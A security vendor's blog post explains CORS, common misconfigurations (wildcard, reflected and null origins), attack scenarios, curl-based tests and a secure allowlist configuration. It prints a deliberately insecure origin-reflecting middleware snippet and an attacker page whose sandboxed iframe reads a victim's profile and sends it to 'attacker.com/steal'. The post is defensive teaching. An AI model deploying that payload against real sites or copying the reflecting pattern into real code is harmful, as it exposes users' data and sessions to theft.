BlogVulnerability Research
Vulnerability Research

CORS Misconfiguration: The Silent Vulnerability Lurking in Your Web Apps

Cross-Origin Resource Sharing misconfigurations are among the most common and most overlooked web vulnerabilities. Learn how CORS works, identify dangerous patterns, and implement secure cross-origin policies.

ShieldGraph Security Team

Vulnerability Research

March 12, 2026
9 min read
Share
CORS Misconfiguration: The Silent Vulnerability Lurking in Your Web Apps

Key Takeaways

  • CORS is a browser security mechanism, not a server-side access control. It prevents unauthorized cross-origin requests from web pages, but only in browsers.
  • The most dangerous misconfiguration is reflecting the Origin header into Access-Control-Allow-Origin with credentials enabled — this effectively disables same-origin policy.
  • Wildcard (*) Access-Control-Allow-Origin cannot be used with credentials, but many developers work around this with origin reflection, creating a worse vulnerability.
  • Testing for CORS issues is straightforward: send requests with malicious Origin headers and check if they are reflected in the response.
  • A secure CORS policy uses an explicit allowlist of trusted origins and never reflects arbitrary values from request headers.

What Is CORS?

Cross-Origin Resource Sharing (CORS) is a browser mechanism that allows web applications running at one origin to access resources from a different origin. By default, browsers enforce the Same-Origin Policy (SOP), which prevents JavaScript on one origin from reading responses from another origin. CORS relaxes this restriction in a controlled way by allowing servers to specify which origins are permitted to access their resources.

CORS is implemented through HTTP headers. When a web page at https://app.example.com makes a request to https://api.example.com, the browser sends an Origin header with the request. The server responds with Access-Control-Allow-Origin to indicate whether the requesting origin is permitted. If the origins do not match, the browser blocks the response from reaching the JavaScript code.

How CORS Works

CORS has two request modes: simple requests and preflight requests. Simple requests (GET, HEAD, POST with standard content types) are sent directly with the Origin header. The browser checks the response headers and either allows or blocks access to the response data.

For requests with custom headers, non-standard content types, or methods like PUT and DELETE, the browser first sends a preflight request — an OPTIONS request asking the server what is allowed. The server responds with headers indicating the permitted methods, headers, and origins. Only if the preflight response authorizes the actual request does the browser proceed.

http
# Preflight request
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

# Preflight response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400

Common Misconfigurations

Wildcard Origins

Setting Access-Control-Allow-Origin: * allows any origin to read the response. While this is appropriate for truly public resources (public APIs with no authentication, CDN assets), it becomes dangerous when combined with sensitive data. The browser prevents * from being used withAccess-Control-Allow-Credentials: true, but developers often work around this restriction by dynamically reflecting the Origin header instead — which is far more dangerous.

Reflected Origins

The most critical CORS misconfiguration occurs when the server reads the Origin header from the request and reflects it directly into the Access-Control-Allow-Origin response header without validation. Combined with Access-Control-Allow-Credentials: true, this effectively disables the Same-Origin Policy entirely. Any malicious website can make authenticated cross-origin requests and read the responses.

javascript
// DANGEROUS: Reflecting origin without validation
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});

// SAFE: Explicit allowlist
const ALLOWED_ORIGINS = [
  'https://app.example.com',
  'https://admin.example.com'
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (ALLOWED_ORIGINS.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});

Origin reflection is equivalent to no CORS policy

If your server reflects any Origin header with credentials enabled, an attacker's website can make authenticated requests to your API and read the responses — including user data, session tokens, and sensitive business information. This is functionally equivalent to having no Same-Origin Policy protection.

The Null Origin Trap

Some applications whitelist the null origin, believing it to be a safe value. In reality, the null origin can be triggered by sandboxed iframes, local file access, and certain redirect flows. An attacker can craft a page with a sandboxed iframe that sends requests with Origin: null, bypassing the CORS policy if null is in the allowlist.

html
<!-- Attacker's page: Forces null origin via sandboxed iframe -->
<iframe sandbox="allow-scripts allow-forms"
  srcdoc="<script>
    fetch('https://vulnerable-api.com/user/profile', {
      credentials: 'include'
    })
    .then(r => r.json())
    .then(data => {
      // Exfiltrate user data
      new Image().src = 'https://attacker.com/steal?data='
        + btoa(JSON.stringify(data));
    });
  </script>">
</iframe>

Real Attack Scenarios

CORS misconfigurations enable several attack types:

  • Data theft — An attacker's website makes authenticated API calls and reads the response. User profiles, financial data, private messages, and API keys can all be exfiltrated silently.
  • Account takeover — If the API exposes endpoints that return session tokens, API keys, or password reset links, the attacker can use these to take over accounts.
  • Internal network scanning — If an internal application has a CORS misconfiguration, an attacker on the same network can use a browser as a proxy to access internal APIs that should not be reachable from the internet.
  • State-changing operations — When combined with Access-Control-Allow-Methods that include PUT, DELETE, and PATCH, the attacker can modify data, not just read it.

Testing for CORS Issues

Testing for CORS misconfigurations is straightforward and should be part of every security assessment:

bash
# Test 1: Check if arbitrary origins are reflected
curl -s -I -H "Origin: https://evil.com" https://target.com/api/user | \
  grep -i "access-control"

# If you see: Access-Control-Allow-Origin: https://evil.com
# The application is vulnerable to origin reflection

# Test 2: Check if null origin is allowed
curl -s -I -H "Origin: null" https://target.com/api/user | \
  grep -i "access-control"

# Test 3: Check if credentials are enabled
# Look for: Access-Control-Allow-Credentials: true
# Combined with reflected origin = critical vulnerability

Automated tools like ShieldGraph, Burp Suite, and OWASP ZAP include CORS misconfiguration checks in their standard scan profiles. However, manual testing is valuable for understanding the application's specific CORS behavior and identifying edge cases that automated tools may miss.

Secure Configuration Guide

Follow these principles for a secure CORS implementation:

  • Use an explicit allowlist — Define the specific origins that are permitted to access your resources. Never reflect the Origin header without validation.
  • Validate origins strictly — Use exact string matching, not substring or regex matching with anchoring issues. https://example.com.evil.com should not match an allowlist entry for example.com.
  • Minimize exposed methods and headers — Only allow the HTTP methods and headers that your frontend actually needs.
  • Set appropriate Max-Age — Cache preflight responses to reduce OPTIONS request overhead, but not so long that policy changes are delayed.
  • Never allow null origin — Remove null from any origin allowlist.
  • Use Vary: Origin — When your CORS response varies by origin, include Vary: Origin to ensure proxies and CDNs do not serve cached responses with the wrong origin header.
  • Consider removing CORS entirely — If your API is only accessed from the same origin, do not enable CORS at all. The browser's Same-Origin Policy provides the best protection when no cross-origin access is needed.

Scan for CORS misconfigurations

ShieldGraph automatically tests your web applications and APIs for dangerous CORS configurations, including origin reflection, null origin acceptance, and wildcard with credentials. Start your free scan.

Scan Your Applications for These Vulnerabilities

ShieldGraph continuously scans your web applications, APIs, and databases to detect these vulnerabilities before attackers do. Start your free scan today.

Start Free Scan

ShieldGraph Security Team

Our security research team publishes in-depth analyses of emerging threats, vulnerability research, and practical guides to help organizations strengthen their security posture.